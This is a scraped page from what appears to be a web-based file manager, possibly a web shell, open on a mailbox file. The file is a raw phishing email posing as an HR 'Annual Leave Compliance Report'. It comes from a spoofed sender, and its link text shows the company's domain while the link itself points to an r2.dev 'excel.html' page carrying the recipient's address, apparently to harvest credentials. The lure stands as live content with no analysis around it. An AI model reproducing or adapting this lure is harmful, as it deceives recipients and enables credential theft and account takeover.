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</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fhome%2F'>home</a>/<a href='?path=%2Fhome%2Fmycooffi%2F'>mycooffi</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fmail%2F'>mail</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fmail%2Fnew%2F'>new</a>/</p><hr><h3>✏️ Editing: 1699434764.M245380P1062789.salvation.securityframe.com,S=4645,W=4732</h3>  
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            <textarea name='content' rows='20'>Return-Path: &lt;bounce+32aade.a58fbf-joseph.cho=mycooffice.com@kingdomarena.org.uk&gt;
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From: HR Department &lt;mistbankeruneosm@gmx.de&gt;
To: joseph.cho@mycooffice.com
Subject: Annual Leave Compliance Report for 2023 Matters Arisen 
Date: 8 Nov 2023 09:02:42 +0000
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&lt;body&gt;&lt;p&gt;&lt;span style=3D&quot;color: rgb(31, 73, 125);&quot;&gt;Memo Desk &amp;nbsp;&amp;nbsp;&amp;nb=
sp;&amp;nbsp; : HR Department&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style=3D&quot;font-size: 15px;&quot;&gt;&lt;span style=3D&quot;color: rgb(33, 33, 33);&quot;=
&gt;&lt;span style=3D&quot;font-size: 12pt;&quot;&gt;&lt;span style=3D'font-family: &quot;times new ro=
man&quot;,serif;'&gt;&lt;span style=3D&quot;color: rgb(31, 73, 125);&quot;&gt;Endorsed by &amp;nbsp; &amp;n=
bsp; : Director of Human Resources&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style=3D&quot;font-size: 15px;&quot;&gt;&lt;span style=3D&quot;color: rgb(33, 33, 33);&quot;=
&gt;&lt;span style=3D&quot;font-size: 12pt;&quot;&gt;&lt;span style=3D'font-family: &quot;times new ro=
man&quot;,serif;'&gt;&amp;nbsp;&lt;span style=3D&quot;font-size: 12pt;&quot;&gt;Dear&amp;nbsp;&lt;/span&gt;&lt;span =
style=3D&quot;font-size: 15px;&quot;&gt;&lt;span style=3D&quot;font-family: Arial,Helvetica,sans=
-serif;&quot;&gt;joseph.cho@mycooffice.com,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span=
&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;br&gt;
&lt;span style=3D&quot;font-size: 15px;&quot;&gt;&lt;span style=3D&quot;color: rgb(33, 33, 33);&quot;&gt;&lt;s=
pan style=3D&quot;font-size: 12pt;&quot;&gt;&lt;span style=3D'font-family: &quot;times new roman=
&quot;,serif;'&gt;The HR Department has released the Annual Leave Compliance Report=
 for 2023. You can access it via the following link:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/=
span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style=3D&quot;font-size: 15px;&quot;&gt;&lt;span style=3D&quot;color: rgb(33, 33, 33);&quot;=
&gt;&lt;span style=3D&quot;font-size: 12pt;&quot;&gt;&lt;span style=3D'font-family: &quot;times new ro=
man&quot;,serif;'&gt;&lt;a style=3D&quot;color: rgb(17, 85, 204);&quot; href=3D&quot;https://pub-82a9=
c84b8c4045249e54c17b19092d58.r2.dev/excel.html#joseph.cho@mycooffice.com&quot; t=
arget=3D&quot;_blank&quot; rel=3D&quot;noopener noreferrer&quot;&gt;Https://mycooffice.com/Annual-=
Leave-Compliance-Report-2023&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style=3D&quot;font-size: 15px;&quot;&gt;&lt;span style=3D&quot;color: rgb(33, 33, 33);&quot;=
&gt;&lt;span style=3D&quot;font-size: 12pt;&quot;&gt;&lt;span style=3D'font-family: &quot;times new ro=
man&quot;,serif;'&gt;Employees highlighted in red have not yet complied with the 20=
23 Annual Leave plan, while those in green have met all requirements.&lt;br&gt;
&lt;br&gt;
If you have any questions, please reply to this email.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;=
&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style=3D&quot;font-size: 15px;&quot;&gt;&lt;span style=3D&quot;color: rgb(33, 33, 33);&quot;=
&gt;&lt;span style=3D&quot;color: black;&quot;&gt;&lt;span style=3D&quot;font-size: small;&quot;&gt;&lt;em&gt;&lt;stron=
g&gt;&lt;span style=3D&quot;font-size: 12pt;&quot;&gt;&lt;span style=3D&quot;color: rgb(0, 112, 192);&quot;=
&gt;&lt;span style=3D'font-family: &quot;bookman old style&quot;,serif,serif,emojifont;'&gt;Th=
anks &amp;amp; Regards, round contact&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;=
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
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